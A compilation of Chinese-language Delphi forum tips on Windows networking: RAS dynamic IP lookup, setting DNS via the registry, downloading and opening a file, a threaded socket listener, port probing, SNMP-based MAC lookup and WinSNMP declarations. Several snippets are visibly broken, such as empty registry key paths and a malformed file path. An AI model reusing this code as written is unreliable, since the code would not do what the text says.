dwResult := RASGetProjectionInfo( connections[ intIndex ].hRasConn,RASP_PppIp,RasPPPIP,dwSize);//获取动态IP地址

if 0 < > dwResult then

memo1.lines.add('错误:' + inttostr( dwResult ))

else

memo1.lines.add('动态地址:' + StrPas(RASpppIP.szIPAddress));

end;

end;

end;

以上程序在PWIN98+Delphi3.0下调试通过。


设置TCP/IP的DNS地址
例如，把 DNS Server的地址添加为192.0.0.1和192.1.1.0，可调用：

SetTCPIPDNSAddresses('192.0.0.1 192.1.1.0') ;

// 各地址之间用一个空格隔开

1. SetTCPIPDNSAddresses 定义如下：

procedure SetTCPIPDNSAddresses( sIPs : string );

begin

//

// if using Windows NT

//

SaveStringToRegistry_LOCAL_MACHINE(

'SYSTEM' +

'',

'NameServer',

sIPs );

//

// if using Windows 95

//

SaveStringToRegistry_LOCAL_MACHINE(

'SYSTEM' +

'',

'NameServer',

sIPs );

end;

2. 其中 SaveStringToRegistry_LOCAL_MACHINE 定义：

uses Registry;

procedure SaveStringToRegistry_LOCAL_MACHINE(

sKey, sItem, sVal : string );

var

reg : TRegIniFile;

begin

reg := TRegIniFile.Create( '' );

reg.RootKey := HKEY_LOCAL_MACHINE;

reg.WriteString( sKey, sItem, sVal + #0 );

reg.Free;

end;


从网络中下载一个指定文件
uses

URLMon, ShellApi;

function DownloadFile(SourceFile, DestFile: string): Boolean;

begin

try

Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil) = 0;

except

Result := False;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

const

// URL Location

SourceFile = 'http://www.google.com/intl/de/images/home_title.gif';

// Where to save the file

DestFile = 'c:image.gif';

begin

if DownloadFile(SourceFile, DestFile) then

begin

ShowMessage('Download succesful!');

// Show downloaded image in your browser

ShellExecute(Application.Handle, PChar('open'), PChar(DestFile),

PChar(''), nil, SW_NORMAL)

end

else

ShowMessage('Error while downloading ' + SourceFile)

end;

// Minimum availability: Internet Explorer 3.0

// Minimum operating systems Windows NT 4.0, Windows 95

******************************

2.}

uses

Wininet;

function DownloadURL(const aUrl: string): Boolean;

var

hSession: HINTERNET;

hService: HINTERNET;

lpBuffer: array[0..1024 + 1] of Char;

dwBytesRead: DWORD;

begin

Result := False;

// hSession := InternetOpen( 'MyApp', INTERNET_OPEN_TYPE_DIRECT, nil, nil, 0);

hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

try

if Assigned(hSession) then

begin

hService := InternetOpenUrl(hSession, PChar(aUrl), nil, 0, 0, 0);

if Assigned(hService) then

try

while True do

begin

dwBytesRead := 1024;

InternetReadFile(hService, @lpBuffer, 1024, dwBytesRead);

if dwBytesRead = 0 then break;

lpBuffer[dwBytesRead] := #0;

Form1.Memo1.Lines.Add(lpBuffer);

end;

Result := True;

finally

InternetCloseHandle(hService);

end;

end;

finally

InternetCloseHandle(hSession);

end;

end;

******************************

在Delphi中如何从网络中提取一个文件到本地计算机中，如提取<BR> http://www.abcdefg.com/software/a.zip到本地指定的目录中？

在窗体中添加1个TNMHTTP控件(在FastNet页)然后在随便那个Button什么的下面

加入如下代码：

NMHTTP1.InputFileMode := ture;

NMHTTP1.Body := '本地文件名';

NMHTTP1.Header := 'Head.txt';

NMHTTP1.OutputFileMode := FALSE;

NMHTTP1.ReportLevel := Status_Basic;

NMHTTP1.Proxy := '代理服务器的IP地址';

NMHTTP1.ProxyPort := '代理服务器的端口号';

With NMHTTP1.HeaderInfo do

Begin

Cookie := '';

LocalMailAddress := '';

LocalProgram := '';

Referer := '';

UserID := '用户名称';

Password := '用户口令';

End;

NMHTTP1.Get(‘http://www.abcdefg.com/software/a.zip’);

试试吧，Delphi的目录中有TNMHTTP控件的例子。

NT4+,Win95+,IE3+,你可以用URL Moniker的功能。

uses URLMon;

...

OleCheck(URLDownloadToFile(nil,'URL','Filename',0,nil));

其中最后一个参数你还可以传入一个IBindStatusCallback的实现以跟踪下载进度或控制中止下载。简单的场合一句话就搞定了。

--回复得分 0--

BTW, URL Moniker封装了大多数URL，而不是像NMHTTP那样封装协议，因此你可以用URLDownloadToFile下载HTTP，FTP甚至本地文件和局域网文件，还有其他的custom moniker，比如MSITSTORE（MSDN Library的文档moniker实现）。


TListenSocket
主　　题：****新年贺礼----TListenSocket*****

作　　者：saoren

所属论坛：Delphi

问题点数：88

回复次数：4

发表时间：2001-1-29 8:34:00

新年好，新年进步，给大家献上新年礼物，我写的一个类似：Borland Socket Service功能的类，并请大家指出错误。

本想藏私，不过，没有交流，就没有进步，所以大家进步，哈哈，

用法简单：

uses ListenSocket;

SH:TListenSocket;

SH:=TListenSocket.Create(Self);

SH.ListPort:=8888;

SH.Open;

//OK.你的（SERVER）程序变成一个侦听程序了。oh

unit ListenSocket;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

SConnect,ScktComp,SvcMgr, ActiveX,MidConst,winsock,MyConst;

var FClientCount:integer;

FClientThreads:TStringList;

type

TSocketDispatcherThread = class(TServerClientThread, ISendDataBlock)

private

FRefCount: Integer;

FInterpreter: TDataBlockInterpreter;

FTransport: ITransport;

FLastActivity: TDateTime;

FTimeout: TDateTime;

FRegisteredOnly: Boolean;

procedure AddClient;

procedure RemoveClient;

protected

function CreateServerTransport: ITransport; virtual;

{ procedure AddClient;

procedure RemoveClient; }

{ IUnknown }

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

function _AddRef: Integer; stdcall;

function _Release: Integer; stdcall;

{ ISendDataBlock }

function Send(const Data: IDataBlock; WaitForResult: Boolean): IDataBlock; stdcall;

public

constructor Create(CreateSuspended: Boolean; ASocket: TServerClientWinSocket;

const InterceptGUID: string; Timeout: Integer; RegisteredOnly: Boolean);

procedure ClientExecute; override;

end;

type MyServerSocket=Class(TServerSocket)

private

procedure GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket;var SocketThread: TServerClientThread);

public

constructor Create(AOwner: TComponent); override;

end;

type

TListenSocket = class(TObject)

private

FActive:Boolean;

FListPort :integer;

FCacheSize :integer;

SH:MyServerSocket;

FItemIndex :integer;

procedure SetActiveState(Value:boolean);

function GetClientCount :integer;

{ Private declarations }

public

property CacheSize :integer read FCacheSize write FCacheSize;

property ListPort:integer read FListPort write FListPort;

property Active :boolean read FActive write SetActiveState;

property ClientCount:integer read GetClientCount;

public

constructor Create(AOwner :TComponent);

destructor Destroy;override;

class procedure AddClientThread(Thread :TSocketDispatcherThread);

class procedure RemoveClientThread(Thread:TSocketDispatcherThread);

procedure Open;

procedure Close;

end;

implementation

function TListenSocket.GetClientCount :integer;

begin

Result:=FClientCount;

end;

constructor TListenSocket.Create(AOwner :TComponent);

begin

LoadWinSock2;

FActive:=False;

FClientCount:=0;

FCacheSize :=10;

FClientThreads:=TStringList.Create;

SH:=MyServerSocket.Create(nil);

inherited Create;

end;

destructor TListenSocket.Destroy;

begin

SetActiveState(False);

FClientThreads.Free;

inherited Destroy;

end;

procedure TListenSocket.Open;

begin

SetActiveState(True);

end;

procedure TListenSocket.Close;

begin

SetActiveState(False);

end;

class procedure TListenSocket.AddClientThread(Thread :TSocketDispatcherThread);

begin

Inc(FClientCount);

FClientThreads.AddObject(Thread.ClientSocket.RemoteHost,Thread);

end;

class procedure TListenSocket.RemoveClientThread(Thread :TSocketDispatcherThread);

var i:integer;

begin

for i:=0 to FClientThreads.Count -1 do

begin

if TSocketDispatcherThread(FClientThreads.Objects[i])=Thread then

begin

FClientThreads.Delete(i);

Dec(FClientCount);

end;

end;

end;

procedure TListenSocket.SetActiveState(Value:boolean);

var i:integer;

begin

if Value then

begin

SH.Close;

SH.Port :=ListPort;

SH.ThreadCacheSize :=CacheSize;

SH.Open;

end else

if not Value then

SH.Close;

FActive:=Value;

end;

{MyServerSocket Class}

procedure MyServerSocket.GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket;

var SocketThread: TServerClientThread);

begin

SocketThread:=TSocketDispatcherThread.Create(false,ClientSocket,'',0,false);

end;

constructor MyServerSocket.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

ServerType := stThreadBlocking;

OnGetThread := GetThread;

end;

{MyServerSocket Class over}

{TSocketDispatcherThread class}

function TSocketDispatcherThread.CreateServerTransport: ITransport;

var

SocketTransport: TSocketTransport;

begin

SocketTransport := TSocketTransport.Create;

SocketTransport.Socket := ClientSocket;

Result := SocketTransport as ITransport;

end;

constructor TSocketDispatcherThread.Create(CreateSuspended: Boolean; ASocket: TServerClientWinSocket;

const InterceptGUID: string; Timeout: Integer; RegisteredOnly: Boolean);

begin

FTimeout:=EncodeTime(Timeout div 60, Timeout mod 60, 0, 0);

FRegisteredOnly:=RegisteredOnly;

FLastActivity:=Now;

inherited Create(CreateSuspended, ASocket);

end;

function TSocketDispatcherThread.Send(const Data:IDataBlock; WaitForResult:Boolean):IDataBlock;

begin

FTransport.Send(Data);

if WaitForResult then

while True do

begin

Result := FTransport.Receive(True, 0);

if Result = nil then break;

if (Result.Signature and ResultSig) = ResultSig then

break else

FInterpreter.InterpretData(Result);

end;

end;

procedure TSocketDispatcherThread.AddClient;

begin

TListenSocket.AddClientThread(Self);

end;

procedure TSocketDispatcherThread.RemoveClient;

begin

TListenSocket.RemoveClientThread(Self);

end;

procedure TSocketDispatcherThread.ClientExecute;

var

Data: IDataBlock;

msg: TMsg;

Obj: ISendDataBlock;

Event: THandle;

WaitTime: DWord;

begin

CoInitialize(nil);

try

Synchronize(AddClient);

FTransport := CreateServerTransport;

try

Event := FTransport.GetWaitEvent;

PeekMessage(msg, 0, WM_USER, WM_USER, PM_NOREMOVE);

GetInterface(ISendDataBlock, Obj);

if FRegisteredOnly then

FInterpreter := TDataBlockInterpreter.Create(Obj, SSockets) else

FInterpreter := TDataBlockInterpreter.Create(Obj, '');

try

Obj := nil;

if FTimeout = 0 then

WaitTime := INFINITE else

WaitTime := 60000; //MAXIMUM_WAIT_OBJECTS

while not Terminated and FTransport.Connected do

try

case MsgWaitForMultipleObjects(1, Event, False, WaitTime, QS_ALLEVENTS) of

WAIT_OBJECT_0:

begin

WSAResetEvent(Event);

Data := FTransport.Receive(False, 0);

if Assigned(Data) then

begin

FLastActivity := Now;

FInterpreter.InterpretData(Data);

Data := nil;

FLastActivity := Now;

end;

end;

WAIT_OBJECT_0 + 1:

while PeekMessage(msg, 0, 0, 0, PM_REMOVE) do

DispatchMessage(msg);

WAIT_TIMEOUT:

if (FTimeout > 0) and ((Now - FLastActivity) > FTimeout) then

FTransport.Connected := False;

end;

except

FTransport.Connected := False;

end;

finally

FInterpreter.Free;

FInterpreter := nil;

end;

finally

FTransport := nil;

end;

finally

CoUninitialize;

Synchronize(RemoveClient);

end;

end;

function TSocketDispatcherThread.QueryInterface(const IID: TGUID; out Obj): HResult;

begin

if GetInterface(IID, Obj) then Result := 0 else Result := E_NOINTERFACE;

end;

function TSocketDispatcherThread._AddRef: Integer;

begin

Inc(FRefCount);

Result := FRefCount;

end;

function TSocketDispatcherThread._Release: Integer;

begin

Dec(FRefCount);

Result := FRefCount;

end;

{TSocketDispatcherThread class over}

end.


如何根据IP知道对方的机器开了那些服务？
就和“追捕”一样。

只要该IP开了80端口，就可以提供HTTP服务。

你用THttpCli给80端口发消息，如果可以发通，就表示有Http服务。

其它的类似，只要检测相应的端口即可。


网卡的物理地址和IP地址的相互查询
Bardo：如何得知远程机器的MAC地址（并且不是代理的）？

kaneboy：我感觉没有任何方法，因为proxy的作用就是用proxy server去取数据，局域网内的电脑是不会直接和外面相 连的。即使是能透过proxy的http协议，也不能传递mac信息。要不要我将JAVA的方法贴你看？

wwwunix：呵呵，容易呀，向远程机发一个arp查询包就行了。如果他是通过代理上网，则根据网络的原理，除非在远程机器上装个服务，否则一般不能得到它的MAC。SendArp函数无法越过代理与防火墙，如何是好？

Bardo：偏偏有个调用Java Applet的JAVA程序就做到了，他是在吹牛？

wwwunix：Java Applet是在客户机上运行的程序，不是在服务器上运行的。所以Java Applet可以获取。首先用普通方法是不行的（除了能在client端运行程序），我们可以看看TCP/IP的实现原理：

1、任何一个IP通讯都要事先知道对方的MAC地址，如果不知道则先发送一个ARP请求来获取对方的MAC地址。

2、在同一网络的通讯很简单就不说了。

3、如果ARP请求是从一个网络的主机发往另一个网络上的主机，那么连接这两个网络的路由器就回答该请求， 并把自己的MAC告诉请求方。这样请求方就会认为路由器就是目标主机而将IP包发给这个路由器，从而让路由器 转发。（这样路由器也就滤掉了ARP请求包）

用SNMP的话，可能可以实现，我对SNMP不熟，不敢肯定。

Bardo：以下是一个实现者的参考：

我们可以通过好几种方法来调用SNMP代理，如用C＋＋来调用WINT下SNMP自带的SNMP API FOR WIN32的动态链接 库，也可以利用SNMP PERL来编写CGI程序完成这种功能，也可以用SNMP Java程序来编写。SNMP Java程序类似 于SNMP PERL程序，它是Java程序类扩展库，它提供了Java语言与SNMP代理接口的类库，使程序员通过调用这个 类库很容易地操纵SNMP代理，获取网络路由表中储存的网络设备的各种信息；包括IP地址与MAC地址映射表。下 面我介绍一下SNMP Java获取MAC信息的过程。首先在程序开头加SNMP Jva的扩展类，import Snmp. *;

……

OIDStr[0]=new String

(“.1.3.6.1.2.1.3.1.1.2.0.0.1.47.”+args[1])；定义IP地址与CAC地址的映射的位置

……

api=new SnmpAPI(); //产生一个SNMP代理的接口api. Start()；

snmpPDU pdu=new SnmpPDU(api);

pdu. Command=apiGET_REQ_MSG;

SnmpSEssion session=new SnmpSession(api);

Session. version=SnmpAPI. SNMP VERSION_1;

Session. Peername=Host[I];//把路由器地址赋给线程SnmpOID odi=new SnmpOID(OIDStr[I], api); ／／产生 一个对象标识符

If(oid. ToValue()!=null)pdu. AddNull(oid);

Try{Session. Open();

Pdu=session. SyncSend(pdu);／／发出请求单元信息}catch (SnmpException e){}

If (pdu= =null){//timeout

System. Out. Println(“Request timed out to:”+Host);

System. Exit(1):}

SnmpVarBind Varbind=(SnmpVarBind)

Pdu. Variables. FirstElement();//找到第一满足条件的信息

PduStr=varbind. ToString();//存放找到的所需的信息

四、通过编写CGI程序实现SNMP代理功能

我们用Java编写一个sn.java程序，该程序的功能是根据给定的路由器地址（10.142.168.29）和主机IIP地址来 获得相应IP地址主机的MAC地址，如：java sn 10.142.168.29 10.142.169.1就会获得10.142.169.1的MAC地址 ，再通过编写一个C语言的CGI程序把Java程序执行的结果读取过来，和原有的合法MAC地址库中的数据进行比较 来验证用户是否佥。首先我们可通过读取环境变量“REMOTEADDR”，该变量存放着请求用户工作站的IP地址， 作为执行Java程序的一个参数，再通过C语言的sprint函数来执行Java程序sn: Sprint(getmac, “java % s % s”, 10.142.168.29. remote ipaddress)；当C语言程序执行这个函数时，Java程序就被执行。并且getmac所 指向的文件头就是执行结果的文件头，我们再来读取该文件，就可获取remote ipaddress所对应的MAC地址，然 后可用这个MAC地址与原有的合法MAC地址库中数据相比较，从而验证用户是否为合法用户。

上面JAVA程序是用Snmp实现的，所以这里提供Snmp 所有API函数及常数的声明：

还望各献技！谢谢！

' Limits

Global Const MAXOBJIDSIZ% = 128

Global Const MAXOBJIDSTRSIZE = 1408

' ASN/BER base types

Global Const ASN_UNIVERSAL = &H0

Global Const ASN_APPLICATION = &H40

Global Const ASN_CONTEXT = &H80

Global Const ASN_PRIVATE = &HC0

Global Const ASN_PRIMITIVE = &H0

Global Const ASN_CONSTRUCTOR = &H20

' SNMP ObjectSyntax values

Global Const SNMP_SYNTAX_SEQUENCE = ASN_UNIVERSAL Or ASN_CONSTRUCTOR Or &H10

' 0xB0

' These values are used in the "syntax" member of VALUEs

Global Const SNMP_SYNTAX_INT = ASN_UNIVERSAL Or ASN_PRIMITIVE Or 2

' 0x02

Global Const SNMP_SYNTAX_BITS = ASN_UNIVERSAL Or ASN_PRIMITIVE Or 3

' 0x03

Global Const SNMP_SYNTAX_OCTETS = ASN_UNIVERSAL Or ASN_PRIMITIVE Or 4

' 0x04

Global Const SNMP_SYNTAX_NULL = ASN_UNIVERSAL Or ASN_PRIMITIVE Or 5

' 0x05

Global Const SNMP_SYNTAX_OID = ASN_UNIVERSAL Or ASN_PRIMITIVE Or 6

' 0x06

Global Const SNMP_SYNTAX_INT32 = SNMP_SYNTAX_INT

Global Const SNMP_SYNTAX_IPADDR = ASN_APPLICATION Or ASN_PRIMITIVE Or 0

' 0x40

Global Const SNMP_SYNTAX_CNTR = ASN_APPLICATION Or ASN_PRIMITIVE Or 1

' 0x41

Global Const SNMP_SYNTAX_GAUGE = ASN_APPLICATION Or ASN_PRIMITIVE Or 2

' 0x42

Global Const SNMP_SYNTAX_TIMETICKS = ASN_APPLICATION Or ASN_PRIMITIVE Or 3

' 0x43

Global Const SNMP_SYNTAX_OPAQUE = ASN_APPLICATION Or ASN_PRIMITIVE Or 4

' 0x44

Global Const SNMP_SYNTAX_NSAPADDR = ASN_APPLICATION Or ASN_PRIMITIVE Or 5

' 0x45

Global Const SNMP_SYNTAX_CNTR64 = ASN_APPLICATION Or ASN_PRIMITIVE Or 6

' 0x46

Global Const SNMP_SYNTAX_UINT32 = ASN_APPLICATION Or ASN_PRIMITIVE Or 7

' 0x47

' Exception conditions in response PDUs for SNMPv2

Global Const SNMP_SYNTAX_NOSUCHOBJECT = ASN_CONTEXT Or ASN_PRIMITIVE Or 0

' 0x80

Global Const SNMP_SYNTAX_NOSUCHINSTANCE = ASN_CONTEXT Or ASN_PRIMITIVE Or 1

' 0x81

Global Const SNMP_SYNTAX_ENDOFMIBVIEW = ASN_CONTEXT Or ASN_PRIMITIVE Or 2

' 0x82

' PDU choices:

Global Const SNMP_PDU_GET = ASN_CONTEXT Or ASN_CONSTRUCTOR Or 0

' 0xA0

Global Const SNMP_PDU_GETNEXT = ASN_CONTEXT Or ASN_CONSTRUCTOR Or 1

' 0xA1

Global Const SNMP_PDU_RESPONSE = ASN_CONTEXT Or ASN_CONSTRUCTOR Or 2

' 0xA2

Global Const SNMP_PDU_SET = ASN_CONTEXT Or ASN_CONSTRUCTOR Or 3

' 0xA3

' SNMP_PDU_V1TRAP is obsolete in SNMPv2

Global Const SNMP_PDU_V1TRAP = ASN_CONTEXT Or ASN_CONSTRUCTOR Or 4

' 0xA4

Global Const SNMP_PDU_GETBULK = ASN_CONTEXT Or ASN_CONSTRUCTOR Or 5

' 0xA5

Global Const SNMP_PDU_INFORM = ASN_CONTEXT Or ASN_CONSTRUCTOR Or 6

' 0xA6

Global Const SNMP_PDU_TRAP = ASN_CONTEXT Or ASN_CONSTRUCTOR Or 7

' 0xA7

' SNMP error codes returned in Error_Status field of PDU

' (these are NOT WinSNMP API error codes!)

Global Const SNMP_ERROR_NOERROR = 0

Global Const SNMP_ERROR_TOOBIG = 1

Global Const SNMP_ERROR_NOSUCHNAME = 2

Global Const SNMP_ERROR_BADVALUE = 3

Global Const SNMP_ERROR_READONLY = 4

Global Const SNMP_ERROR_GENERR = 5

' Error codes added for SNMPv2

Global Const SNMP_ERROR_NOACCESS = 6

Global Const SNMP_ERROR_WRONGTYPE = 7

Global Const SNMP_ERROR_WRONGLENGTH = 8

Global Const SNMP_ERROR_WRONGENCODING = 9

Global Const SNMP_ERROR_WRONGVALUE = 10

Global Const SNMP_ERROR_NOCREATION = 11

Global Const SNMP_ERROR_INCONSISTENTVALUE = 12

Global Const SNMP_ERROR_RESOURCEUNAVAILABLE = 13

Global Const SNMP_ERROR_COMMITFAILED = 14

Global Const SNMP_ERROR_UNDOFAILED = 15

Global Const SNMP_ERROR_AUTHORIZATIONERROR = 16

Global Const SNMP_ERROR_NOTWRITABLE = 17

Global Const SNMP_ERROR_INCONSISTENTNAME = 18

' Trap generic types:

Global Const SNMP_TRAP_COLDSTART = 0

Global Const SNMP_TRAP_WARMSTART = 1

Global Const SNMP_TRAP_LINKDOWN = 2

Global Const SNMP_TRAP_LINKUP = 3

Global Const SNMP_TRAP_AUTHFAIL = 4

Global Const SNMP_TRAP_EGPNEIGHBORLOSS = 5

Global Const SNMP_TRAP_ENTERPRISESPECIFIC = 6

' Type declarations:

'

' WinSNMP Descriptors

Type OID

len As Long

ptr As Long

End Type

Type OCTET ' Also: BITS, IPADDR, OPAQUE & NSAPADDR

len As Long

ptr As Long

End Type

Type OCTETSTRING

len As Long

ptr As String

End Type

Type CNTR64

' This is not a "Descriptor", but is a structure

' which can be used in a VALUE

hiPart As Long

loPart As Long

End Type

' WinSNMP Variable Binding "VALUE" definitions

Type VALUEINT

' Also INT32, UINT32, CNTR32, GAUGE32 & TIMETICKS

syntax As Long

long As Long

filler As Long 'To bring length up to 12 bytes

End Type

Type VALUECNTR64

syntax As Long

hNumber As CNTR64

End Type

Type VALUEOCTET

' Also BITS, OPAQUE, IPADDR & NSAPADDR

syntax As Long

octetv As OCTET

End Type

Type VALUEOID

syntax As Long

oidv As OID

End Type

' WinSNMP API values

'

' Values used to indicate entity/context translation modes

Global Const SNMPAPI_TRANSLATED = 0

Global Const SNMPAPI_UNTRANSLATED_V1 = 1

Global Const SNMPAPI_UNTRANSLATED_V2 = 2

' Values used to indicate SNMP "communications level"

' supported by the implementation

Global Const SNMPAPI_NO_SUPPORT = 0

Global Const SNMPAPI_V1_SUPPORT = 1

Global Const SNMPAPI_V2_SUPPORT = 2

Global Const SNMPAPI_M2M_SUPPORT = 3

' Values used to indicate retransmit mode in the implementation

Global Const SNMPAPI_OFF = 0

Global Const SNMPAPI_ON = 1

' WinSNMP API Function Return Codes

Global Const SNMPAPI_FAILURE = 0

Global Const SNMPAPI_SUCCESS = 1

' WinSNMP API Error Codes (for SnmpGetLastError())

' (NOT PDU error status codes)

Global Const SNMPAPI_ALLOC_ERROR = 2 'Error allocating memory

Global Const SNMPAPI_CONTEXT_INVALID = 3 'Invalid context parameter

Global Const SNMPAPI_CONTEXT_UNKNOWN = 4 'Unknown context parameter

Global Const SNMPAPI_ENTITY_INVALID = 5 'Invalid entity parameter

Global Const SNMPAPI_ENTITY_UNKOWN = 6 'Unknown entity parameter

Global Const SNMPAPI_INDEX_INVALID = 7 'Invalid VBL index parameter

Global Const SNMPAPI_NOOP = 8 'No operation performed

Global Const SNMPAPI_OID_INVALID = 9 'Invalid OID parameter

Global Const SNMPAPI_OPERATION_INVALID = 10 'Invalid/unsupported operation

Global Const SNMPAPI_OUTPUT_TRUNCATED = 11 'Insufficient output buffer length

Global Const SNMPAPI_PDU_INVALID = 12 'Invalid PDU parameter

Global Const SNMPAPI_SESSION_INVALID = 13 'Invalid session parameter

Global Const SNMPAPI_SYNTAX_INVALID = 14 'Invalid syntax in smiVALUE variable

Global Const SNMPAPI_VBL_INVALID = 15 'Invalid VBL parameter

Global Const SNMPAPI_MODE_INVALID = 16 'Invalid mode parameter

Global Const SNMPAPI_SIZE_INVALID = 17 'Invalid size/length parameter

Global Const SNMPAPI_NOT_INITIALIZED = 18 'SnmpStartup failed/not called

Global Const SNMPAPI_MESSAGE_INVALID = 19 'Invalid SNMP message format

Global Const SNMPAPI_HWND_INVALID = 20 'Invalid Window handle

Global Const SNMPAPI_OTHER_ERROR = 99 'For internal/undefined errors

' Generic Transport Layer (TL) Errors

Global Const SNMPAPI_TL_NOT_INITIALIZED = 100 'TL not initialized

Global Const SNMPAPI_TL_NOT_SUPPORTED = 101 'TL does not support protocol

Global Const SNMPAPI_TL_NOT_AVAILABLE = 102 'Network sub-system has failed

Global Const SNMPAPI_TL_RESOURCE_ERROR = 103 'TL resource error

Global Const SNMPAPI_TL_UNDELIVERABLE = 104 'Destination unreachable

Global Const SNMPAPI_TL_SRC_INVALID = 105 'Source endpoint invalid

Global Const SNMPAPI_TL_INVALID_PARAM = 106 'Input parameter invalid

Global Const SNMPAPI_TL_IN_USE = 107 'Source endpoint in use

Global Const SNMPAPI_TL_TIMEOUT = 108 'No response before timeout

Global Const SNMPAPI_TL_PDU_TOO_BIG = 109 'PDU too big for send/receive

Global Const SNMPAPI_TL_OTHER = 199 'Undefined TL error

' v2.0: Structure for SnmpGetVendorInfo() output

Global Const MAXVENDORINFO = 32

Type VENDORINFO

vendorName As String * 64

vendorContact As String * 64

vendorVersionId As String * 32

vendorVersionData As String * 32

vendorEnterprise As Long

End Type

Declare Function SnmpGetTranslateMode Lib "wsnmp32.dll" (nTransMode As Long) As Long

Declare Function SnmpSetTranslateMode Lib "wsnmp32.dll" (ByVal nTransMode As Long) As Long

Declare Function SnmpGetRetransmitMode Lib "wsnmp32.dll" (nRxTxMode As Long) As Long

Declare Function SnmpSetRetransmitMode Lib "wsnmp32.dll" (ByVal nRxTxMode As Long) As Long

Declare Function SnmpGetTimeout Lib "wsnmp32.dll" (ByVal hEntity As Long, nPolicyTO As Long, nActualTO As Long) As Long

Declare Function SnmpSetTimeout Lib "wsnmp32.dll" (ByVal hEntity As Long, ByVal nPolicyTO As Long) As Long

Declare Function SnmpGetRetry Lib "wsnmp32.dll" (ByVal hEntity As Long, nPolicyRetry As Long, nActualRetry As Long) As Long

Declare Function SnmpSetRetry Lib "wsnmp32.dll" (ByVal hEntity As Long, ByVal nPolicyRetry As Long) As Long

' Following Local Database Functions added in v2.0

Declare Function SnmpGetVendorInfo Lib "wsnmp32.dll" (ByRef vendInfo As VENDORINFO) As Long

Declare Function SnmpStartup Lib "wsnmp32.dll" (nVerMaj As Long, nVerMin As Long, nLevel As Long, nTMode As Long, nRMode As Long) As Long

Declare Function SnmpCleanup Lib "wsnmp32.dll" () As Long

Declare Function SnmpOpen Lib "wsnmp32.dll" (ByVal hWnd As Long, ByVal wMsg As Long) As Long

Declare Function SnmpClose Lib "wsnmp32.dll" (ByVal hSession As Long) As Long

Declare Function SnmpSendMsg Lib "wsnmp32.dll" (ByVal hSession As Long, ByVal sEntity As Long, ByVal dEntity As Long, ByVal hContext As Long, ByVal hPDU As Long) As Long

Declare Function SnmpRecvMsg Lib "wsnmp32.dll" (ByVal hSession As Long, sEntity As Long, dEntity As Long, hContext As Long, hPDU As Long) As Long

Declare Function SnmpRegister Lib "wsnmp32.dll" (ByVal hSession As Long, ByVal sEntity As Long, ByVal dEntity As Long, ByVal hContext As Long, smiCOID As OID, ByVal state As Long) As Long

' SnmpRegister() needs to be aliased to SnmpRegisterNull() for "TYPE SAFE"

' usage that will allow registering a NULL notification OID

Declare Function SnmpRegisterNull Lib "wsnmp32.dll" Alias "SnmpRegister" (ByVal hSession As Long, ByVal sEntity As Long, ByVal dEntity As Long, ByVal hContext As Long, ByVal smiCOID As Long, ByVal state As Long) As Long

' Following Communications Functions added in v2.0

Declare Function SnmpCreateSession Lib "wsnmp32.dll" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal fCallBack As Long, ByVal lpClientData As Long) As Long

Declare Function SnmpListen Lib "wsnmp32.dll" (ByVal hEntity As Long, ByVal lStatus As Long) As Long

Declare Function SnmpCancelMsg Lib "wsnmp32.dll" (ByVal hSession As Long, ByVal ReqID As Long) As Long

' Entity/Context FUnctions

Declare Function SnmpStrToEntity Lib "wsnmp32.dll" (ByVal hSession As Long, ByVal Entity As String) As Long

Declare Function SnmpEntityToStr Lib "wsnmp32.dll" (ByVal hEntity As Long, ByVal lenEntity As Long, ByVal strEntity As String) As Long

Declare Function SnmpFreeEntity Lib "wsnmp32.dll" (ByVal hEntity As Long) As Long

Declare Function SnmpStrToContext Lib "wsnmp32.dll" (ByVal hSession As Long, smiOctets As OCTETSTRING) As Long

Declare Function SnmpContextToStr Lib "wsnmp32.dll" (ByVal hContext As Long, smiOctets As OCTET) As Long

Declare Function SnmpFreeContext Lib "wsnmp32.dll" (ByVal hContext As Long) As Long

' Following Entity/Context Functions added in v2.0

Declare Function SnmpSetPort Lib "wsnmp32.dll" (ByVal hEntity As Long, ByVal nPort As Long) As Long

' PDU Functions

Declare Function SnmpCreatePdu Lib "wsnmp32.dll" (ByVal hSession As Long, ByVal typePDU As Long, ByVal ReqID As Long, ByVal errorStat As Long, ByVal errorIdx As Long, ByVal hVBL As Long) As Long

Declare Function SnmpGetPduData Lib "wsnmp32.dll" (ByVal hPDU As Long, typePDU As Long, ReqID As Long, errorStat As Long, errorIdx As Long, hVBL As Long) As Long

Declare Function SnmpSetPduData Lib "wsnmp32.dll" (ByVal hPDU As Long, typePDU As Long, ReqID As Long, errorStat As Long, errorIdx As Long, hVBL As Long) As Long

Declare Function SnmpDuplicatePdu Lib "wsnmp32.dll" (ByVal hSession As Long, ByVal hPDU As Long) As Long

Declare Function SnmpFreePdu Lib "wsnmp32.dll" (ByVal hPDU As Long) As Long

' Variable Binding Functions

Declare Function SnmpCreateVbl Lib "wsnmp32.dll" (ByVal hSession As Long, VarOID As OID, VarVal As Any) As Long

Declare Function SnmpDuplicateVbl Lib "wsnmp32.dll" (ByVal hSession As Long, ByVal hVBL As Long) As Long

Declare Function SnmpFreeVbl Lib "wsnmp32.dll" (ByVal hVBL As Long) As Long

Declare Function SnmpCountVbl Lib "wsnmp32.dll" (ByVal hVBL As Long) As Long

Declare Function SnmpGetVb Lib "wsnmp32.dll" (ByVal hVBL As Long, ByVal Index As Long, VarOID As OID, VarVal As VALUEOCTET) As Long

Declare Function SnmpSetVb Lib "wsnmp32.dll" (ByVal hVBL As Long, ByVal Index As Long, VarOID As OID, VarVal As Any) As Long

Declare Function SnmpDeleteVb Lib "wsnmp32.dll" (ByVal hVBL As Long, ByVal Index As Long) As Long

' SnmpCreateVbl() needs to be aliased to SnmpCreateIntVbl(),

' SnmpCreateOctVbl(), SnmpCreateOidVbl(), SnmpCreateC64Vbl() for "TYPE SAFE" usage

Declare Function SnmpCreateIntVbl Lib "wsnmp32.dll" Alias "SnmpCreateVbl" (ByVal hSession As Long, VarOID As OID, VarVal As VALUEINT) As Long

